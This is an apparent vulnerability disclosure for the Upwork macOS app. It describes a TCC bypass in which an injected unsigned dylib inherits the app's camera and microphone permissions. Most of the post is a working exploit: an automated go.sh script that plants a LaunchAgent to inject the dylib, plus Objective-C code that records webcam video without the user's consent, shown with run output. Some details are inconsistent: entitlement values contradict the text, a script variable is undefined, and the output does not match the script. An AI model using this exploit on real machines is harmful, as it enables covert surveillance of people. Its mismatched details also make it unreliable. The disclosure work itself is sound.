7 minute read

It was possible for an attacker to load an unsigned malicious dylib into the /Applications/Upwork.app/Contents/MacOS/Upwork Mach-O and inherit entitlements which allowed for unsolicited acamer and microphone recordings. This facilitated a low-privilege user to record from the camera and the microphone without requiring a user’s permission.

Business Impact

TCC Bypasses can result in the following business impact:

  • Privacy Violation: Without proper user consent, an attacker could abuse an application with a TCC bypass to eavesdrop on users’ conversations, record their activities, and collect sensitive personal information without their knowledge or authorization.
  • Reputational Damage: The developer’s reputation could be tarnished if the vulnerability is publicly disclosed and the developer fails to take prompt and effective action to address it.
  • Loss of Business Opportunities: Developers may face difficulty attracting new customers or partnerships if they are known for releasing insecure applications that facilitate violation of user privacy.

Overview of Exploitation

On macOS, TCC (also known as Privacy preferences) is a security framework that helps protect user privacy by granting applications access to sensitive resources only when the user explicitly permits it. TCC is part of macOS’ "rootless" privacy model which requires a user to grant explicit user authorization to applications which request access to sensitive resources like the microphone, screen recording, and other privacy-related functionalities, this applies to the root user as well and is classed as a security boundary by apple.

During the application’s use, it requests whether the user grants the application access to the camera and/or the microphone, this writes the preferences to the TCC.db and facilitates the app to use those system resources. If an unknown attacker were to try and use the camera and/or the microphone from e.g. Attacker.app, then a popup stating the requesting application’s name would be presented to the user. However an app which has already requested and been granted these permissions won’t have to request for each use as the permission has already been granted.

Hardened Runtime, Entitlements & RPATH search order hijacks

The Hardened Runtime, together with System Integrity Protection (SIP), safeguards software’s runtime integrity by blocking common attack vectors like code injection, dynamically linked library (dylib) hijacking, and process memory space tampering. Despite the /Applications/Upwork.app/Contents/MacOS/Upwork Mach-O having a hardened runtime (flags=0x10000(runtime)), the com.apple.security.cs.disable-library-validation and com.apple.security.cs.allow-dyld-environment-variables entitlements allowed for the dyld to load unsigned libraries.

03:19:56-testmac@mpro:~/Desktop/YARA_AUTOMATED$ codesigndv /Applications/Upwork.app/Contents/MacOS/Upwork 
Executable=/Applications/Upwork.app/Contents/MacOS/Upwork
Identifier=com.upwork.Upwork
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=477 flags=0x10000(runtime) hashes=4+7 location=embedded
Signature size=9067
Authority=Developer ID Application: Upwork Global Inc. (ZS7EHQ26T2)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=16 Oct 2023 at 09:29:22
Info.plist entries=33
TeamIdentifier=ZS7EHQ26T2
Runtime Version=12.3.0
Sealed Resources version=2 rules=13 files=14
Internal requirements count=1 size=180
[Dict]
	[Key] com.apple.security.device.camera
	[Value]
		[Bool] true
	[Key] com.apple.security.network.client
	[Value]
		[Bool] true
	[Key] com.apple.security.device.microphone
	[Value]
		[Bool] true
	[Key] com.apple.security.device.audio-input
	[Value]
		[Bool] true
	[Key] com.apple.security.automation.apple-events
	[Value]
		[Bool] true
	[Key] com.apple.security.device.audio-video-bridging
	[Value]
		[Bool] true
	[Key] com.apple.security.cs.disable-library-validation
	[Value]
		[Bool] false
	[Key] com.apple.security.cs.allow-dyld-environment-variables
	[Value]
		[Bool] false
	[Key] com.apple.security.cs.allow-unsigned-executable-memory
	[Value]
		[Bool] true

This could be abused by an attacker through preloading the application with an unsigned malicious dylib so that arbritrary code is running within the /Applications/Upwork.app/Contents/MacOS/Upwork Mach-O, thus inheriting its entitlements registered in the TCC database.

The com.apple.security.cs.allow-dyld-environment-variables and com.apple.security.cs.disable-library-validation entitlements allow for an unsigned dylib to be loaded via the DYLD_INSERT_LIBRARIES environment variable. As an example, if the /Applications/Upwork.app/Contents/MacOS/Upwork Mach-O was preloaded with the DYLD_INSERT_LIBRARIES environment variable then dyld would load said unsigned malicious dylib.

This example can be demonstrated with the following following dylib

/* gcc -dynamiclib -framework Cocoa -framework Foundation runtime_tcc_bypass_demo.m -o runtime_tcc_bypass_demo.dylib */

#include <syslog.h>
#import <Foundation/Foundation.h>
#import <Cocoa/Cocoa.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
    NSLog(@"[INFO] dylib constructor called from %s\n", argv[0]);
    syslog(LOG_ERR, "[INFO] dylib constructor called from %s\n", argv[0]);

    NSLog(@"[INFO] Exiting !");
    [[NSApplication sharedApplication] terminate:nil];   
}

This example can be seen below:

04:02:01-testmac@mpro:~/Desktop/UPWORK$ gcc -dynamiclib -framework Cocoa -framework Foundation runtime_tcc_bypass_demo.m -o runtime_tcc_bypass_demo.dylib
04:02:05-testmac@mpro:~/Desktop/UPWORK$ DYLD_INSERT_LIBRARIES=runtime_tcc_bypass_demo.dylib /Applications/Upwork.app/Contents/MacOS/Upwork 
2023-12-23 04:02:36.694 Upwork[1741:38078] [INFO] dylib constructor called from /Applications/Upwork.app/Contents/MacOS/Upwork
2023-12-23 04:02:36.695 Upwork[1741:38078] [INFO] Exiting !

Exploitation

Since the target Mach-O object possessed the com.apple.security.cs.disable-library-validation and com.apple.security.cs.allow-dyld-environment-variables entitlements, an attacker could exploit this to inherit the com.apple.security.device.microphone and com.apple.security.device.camera entitlements, thereby circumventing the hardened runtime and TCC security measures in place. This will grant them the ability to carry out unauthorized recording of audio and video without user permission.

Proof of Concept (PoC) Exploit Script / Code

This section contains the exploit code for the go.sh automated exploit script to work. The directory structure should be setup with the contents of the files listed as follows:

04:05:30-testmac@mpro:~/Desktop/UPWORK/exploit$ ls
total 24
drwxr-xr-x  4 testmac  staff   128B 23 Dec 04:05 .
drwxr-xr-x  5 testmac  staff   160B 23 Dec 04:04 ..
-rw-r--r--  1 testmac  staff   2.6K 23 Dec 04:05 upwork_runtime_bypass_tcc_bypass.m
-rw-r--r--  1 testmac  staff   5.5K 23 Dec 04:05 go.sh

go.sh

The following bash script automatically exploits the TCC Bypass without the need for manually moving files or compiling code.

########################################################################################################################
echo "[i] Upwork 5.8.0.33 Hardened Runtime + TCC Bypass Camera Recording"
#!/bin/bash
########################################################################################################################
# STAGE 1 [DEMO] #######################################################################################################
echo "[i] Creating base_poc.m file"

DEMO_NAME=runtime_tcc_bypass_demo

cat << EOF > $DEMO_NAME.m
/* gcc -dynamiclib -framework Cocoa -framework Foundation rpath_hijack.m -o rpath_hijack.dylib */

#include <syslog.h>
#import <Foundation/Foundation.h>
#import <Cocoa/Cocoa.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
    NSLog(@"[INFO] dylib constructor called from %s\n", argv[0]);
    syslog(LOG_ERR, "[INFO] dylib constructor called from %s\n", argv[0]);

    NSLog(@"[INFO] Exiting !");
    [[NSApplication sharedApplication] terminate:nil];   
}
EOF

echo "[i] Compiling demo dylib hijack example"
gcc -dynamiclib -framework Cocoa -framework Foundation $DEMO_NAME.m -o $DEMO_NAME.dylib

echo "[i] Spawning \"Upwork\" and demoing hardened runtime bypass"
DYLD_INSERT_LIBRARIES=$DEMO_NAME.dylib /Applications/Upwork.app/Contents/MacOS/Upwork

echo "[i] Cleaning up demo"
rm -rf $DEMO_NAME.m 
rm -rf $DEMO_NAME.dylib 
########################################################################################################################

# #########################################################################################################################
# ## STAGE 2 [EXPLOIT] ####################################################################################################
echo "[i] Compiling exploit dylib hijack"
EXPLOIT_NAME=upwork_runtime_bypass_tcc_bypass
PLIST_FILE=com.upwork.attacker.launcher
LOGFILE=upwork_attacker
APP_PATH=/Applications/Upwork.app/Contents/MacOS/Upwork

gcc -dynamiclib -framework Foundation -framework AVFoundation $EXPLOIT_NAME.m -o /tmp/$EXPLOIT_NAME.dylib

echo "[i] Creating ~/Library/LaunchAgents/ if it doesn't exist"
mkdir ~/Library/LaunchAgents/ 2>/dev/null

echo "[i] Creating LaunchAgent plist in ~/Library/LaunchAgents/"

cat << EOF > ~/Library/LaunchAgents/$PLIST_FILE.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
	<dict>
		<key>Label</key>
		<string>$PLIST_FILE</string>
		<key>ProgramArguments</key>
		<array>
			<string>$APP_PATH</string>
		</array>
        <key>EnvironmentVariables</key>
        <dict>
          <key>DYLD_INSERT_LIBRARIES</key>
          <string>/tmp/$EXPLOIT_NAME.dylib</string>
        </dict>
		<key>RunAtLoad</key>
		<true/>
		<key>StandardOutPath</key>
		<string>/tmp/$LOGFILE.log</string>
		<key>StandardErrorPath</key>
		<string>/tmp/$LOGFILE.log</string>
	</dict>
</plist>
EOF

ls ~/Library/LaunchAgents/$PLIST

echo "[i] Clearing the LaunchAgent from previous attempt"
launchctl unload ~/Library/LaunchAgents/$PLIST 2>/dev/null

echo "[i] Launching the LaunchAgent"
launchctl load -w ~/Library/LaunchAgents/$PLIST

echo "[i] Sleeping for 5 seconds"
sleep 5

echo "[i] Moving video to current directory"
VID_PATH=$(cat /tmp/$LOGFILE.log | grep "Saved" | cut -d ']' -f 2 | cut -d ' ' -f 7)
mv $VID_PATH . 

echo "[i] Cleaning up"
echo "    [i] Removing ~/Library/LaunchAgents/$PLIST"
rm -rf ~/Library/LaunchAgents/$PLIST

echo "    [i] Removing /tmp/$EXPLOIT_NAME.dylib"
rm -rf /tmp/$EXPLOIT_NAME.dylib

echo "    [i] Removing /tmp/$LOGFILE.log"
rm -rf /tmp/$LOGFILE.log 2>/dev/null

echo "[i] Opening $LOGFILE.mov"
open $LOGFILE.mov

echo "    [i] Sleeping 5 seconds"
sleep 5

echo "    [i] Removing $VID_PATH"
rm -rf /tmp/$LOGFILE.log 2>/dev/null

echo "[i] Finished !!!"
########################################################################################################################

upwork_runtime_bypass_tcc_bypass.m

The following Objective-C exploit code was compiled into a dynamic library (dylib) to preload into /Applications/Upwork.app/Contents/MacOS/Upwork and capture a 3-second video recording without the users permission.

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end

@implementation VideoRecorder
- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}

- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

    AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
    NSError *error;
    self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];

    if (error) {
        NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
        return;
    }

    if ([self.captureSession canAddInput:self.videoDeviceInput]) {
        [self.captureSession addInput:self.videoDeviceInput];
    }

    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];

    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    }
}

- (void)startRecording {
    [self.captureSession startRunning];
    NSURL *outputFileURL = [NSURL fileURLWithPath:@"/tmp/upwork_attacker.mov"];
    [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"Recording started");
}

- (void)stopRecording {
    [self.movieFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray<AVCaptureConnection *> *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
    }
}
@end

__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
    VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];

    [videoRecorder startRecording];
    [NSThread sleepForTimeInterval:3.0];
    [videoRecorder stopRecording];

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

Output of running go.sh

04:27:52-testmac@mpro:~/Desktop/UPWORK/exploit$ bash go.sh 
[i] Upwork 5.8.0.33 Hardened Runtime + TCC Bypass Camera Recording
[i] Creating base_poc.m file
[i] Compiling demo dylib hijack example
[i] Spawning "Upwork" and demoing hardened runtime bypass
2023-12-23 04:27:55.489 Upwork[2131:52005] [INFO] dylib constructor called from /Applications/Upwork.app/Contents/MacOS/Upwork
2023-12-23 04:27:55.489 Upwork[2131:52005] [INFO] Exiting !
[i] Cleaning up demo
[i] Compiling exploit dylib hijack
[i] Creating ~/Library/LaunchAgents/ if it doesn't exist
[i] Creating LaunchAgent plist in ~/Library/LaunchAgents/
com.upwork.attacker.launcher.plist
[i] Clearing the LaunchAgent from previous attempt
[i] Launching the LaunchAgent
[i] Sleeping for 5 seconds
[i] Copying video to current directory
[i] Cleaning up
    [i] Removing the LaunchAgents plist
    [i] Removing the dylib
    [i] Removing the log file
[i] Opening the recorded video
[i] Finished !!!

Further Information

Categories:

Updated: